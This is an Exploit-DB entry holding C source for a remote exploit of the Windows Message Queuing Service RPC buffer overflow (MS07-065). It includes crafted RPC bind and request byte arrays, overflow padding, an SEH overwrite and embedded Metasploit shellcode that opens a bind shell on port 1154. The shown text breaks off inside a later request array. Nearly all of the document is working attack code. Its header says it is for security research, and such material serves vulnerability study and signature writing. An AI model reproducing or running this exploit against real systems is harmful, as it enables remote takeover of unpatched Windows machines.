Exploit-DB #4934
Description: Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065) (2)
Type: remote
Platform: windows
Date: 2008-01-18
Author: Marcin Kozlowski

Exploit:
/*
Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) 
Mod of axis's code.

CHANGELOG

- added dnsname as a parameter, before it was hardcoded in the 
  request data. (Marcin Kozlowski)

Provided for legal security research and testing purposes ONLY

Go through the code  :) 
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <winsock.h>
#include <io.h>
#pragma comment(lib,"ws2_32")

// RPC Bind UUID: fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
char bind_str[] = {
  0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
  0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
  0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11,
  0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25,
  0x01, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
  0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
  0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};


char *request_1;


// RPC Request  Opnum: 0x06 
char request_1a[] = {
  0x05, 0x00, 0x00, 0x81, 0x10, 0x00, 0x00, 0x00,
  0xd0, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x98, 0x17, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11,
  0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25,
  0x01, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00
};


char *request_1b;


char request_1c[] = {
  0x5c, 0x00, 0x00, 0xcc, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0xeb, 0x06, 0x42, 0x42, 0x32, 0xb0,	// \xeb\x06\x42\x42 jmpcode
  0x01, 0x78, 0x2b, 0xc9, 0x83, 0xe9, 0xb0, 0xd9,	//  overwrite seh ; call ebx
  0xee, 0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73,	//  bindshell on port 1154, metasploit shellcode
  0x13, 0x1d, 0x82, 0x67, 0xb4, 0x83, 0xeb, 0xfc,
  0xe2, 0xf4, 0xe1, 0xe8, 0x8c, 0xf9, 0xf5, 0x7b,
  0x98, 0x4b, 0xe2, 0xe2, 0xec, 0xd8, 0x39, 0xa6,
  0xec, 0xf1, 0x21, 0x09, 0x1b, 0xb1, 0x65, 0x83,
  0x88, 0x3f, 0x52, 0x9a, 0xec, 0xeb, 0x3d, 0x83,
  0x8c, 0xfd, 0x96, 0xb6, 0xec, 0xb5, 0xf3, 0xb3,
  0xa7, 0x2d, 0xb1, 0x06, 0xa7, 0xc0, 0x1a, 0x43,
  0xad, 0xb9, 0x1c, 0x40, 0x8c, 0x40, 0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e4, 0x44, 0xab, 0xab, 0x3d, 0xfa, 0xe8,
  0x23, 0x3d, 0xff, 0xb3, 0xa7, 0x47, 0xb7, 0x7c,
  0x25, 0x99, 0xe3, 0xc0, 0x4b, 0x27, 0x90, 0xf8,
  0x5f, 0x1f, 0xb6, 0x29, 0x0f, 0xc6, 0xe3, 0x31,
  0x71, 0x4b, 0x68, 0xc6, 0x98, 0x62, 0x46, 0xd5,
  0x35, 0xe5, 0x4c, 0xd3, 0x0d, 0xb5, 0x4c, 0xd3,
  0x32, 0xe5, 0xe2, 0x52, 0x0f, 0x19, 0xc4, 0x87,
  0xa9, 0xe7, 0xe2, 0x54, 0x0d, 0x4b, 0xe2, 0xb5,
  0x98, 0x64, 0x96, 0xd5, 0x9b, 0x37, 0xd9, 0xe6,
  0x98, 0x62, 0x4f, 0x7d, 0xb7, 0xdc, 0xf2, 0x4c,
  0x87, 0xd4, 0x4e, 0x7d, 0xb1, 0x4b, 0xcd, 0x82,
  0x67, 0xb4, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41
};


char request_2[] = {
  0x05, 0x00, 0x00, 0x82, 0x10, 0x00, 0x00, 0x00,
  0x18, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11,
  0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25,
  0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,